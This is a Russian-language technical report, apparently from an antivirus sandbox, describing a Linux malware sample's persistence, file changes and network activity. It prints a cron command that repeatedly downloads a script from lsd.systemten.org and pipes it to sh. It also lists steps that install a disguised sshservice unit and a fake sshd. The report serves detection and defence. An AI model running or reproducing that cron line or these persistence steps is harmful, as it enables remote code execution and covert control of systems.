Техническая информация
Для обеспечения автоматического запуска и распространения:
Создает или модифицирует следующие файлы:
- /var/spool/cron/crontabs/root
- /etc/cron.d/root
- /etc/init.d/sshservice
Вредоносные функции:
Запускает себя в качестве демона
Запускает процессы:
- /bin/sh -c echo \"*/10 * * * * (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh\" | crontab -
- crontab -
- <SAMPLE_FULL_PATH> [migration]
- <SAMPLE_FULL_PATH> [ata_sff]
- /bin/sh -c chattr -i /usr/lib/systemd/system/sshservice.service
- chattr -i /usr/lib/systemd/system/sshservice.service
- /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;chkconfig --add sshservice
- /bin/sh -c export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin;systemctl enable sshservice
Выполняет операции с файловой системой:
Модифицирует права доступа к файлам:
- /etc/hosts
- /var/spool/cron/crontabs/tmp.9PMoca
- /etc/cron.d/root
- /var/spool/cron/root
- /var/spool/cron/crontabs/root
- /var/spool/cron/crontabs/tmp.3yKXNY
- /var/spool/cron/crontabs/tmp.hePjVX
- /var/spool/cron/crontabs/tmp.F4qnyd
Создает или модифицирует файлы:
- /etc/hosts
- /var/spool/cron/crontabs/tmp.9PMoca
- /var/spool/cron/root
- /tmp/.XImunix
- /var/spool/cron/crontabs/tmp.3yKXNY
- /var/spool/cron/crontabs/tmp.hePjVX
- /var/spool/cron/crontabs/tmp.F4qnyd
- /usr/local/sbin/sshd
- /usr/lib/systemd/system/sshservice.service
Сетевая активность:
Устанавливает соединение:
- <LOCAL_DNS_SERVER>
- [2########::f03c:91ff:fe70:2b9d]:9
- 17#.#8.123.25:9
HTTP GET-запросы:
- id##t.me/
DNS ASK:
- id##t.me
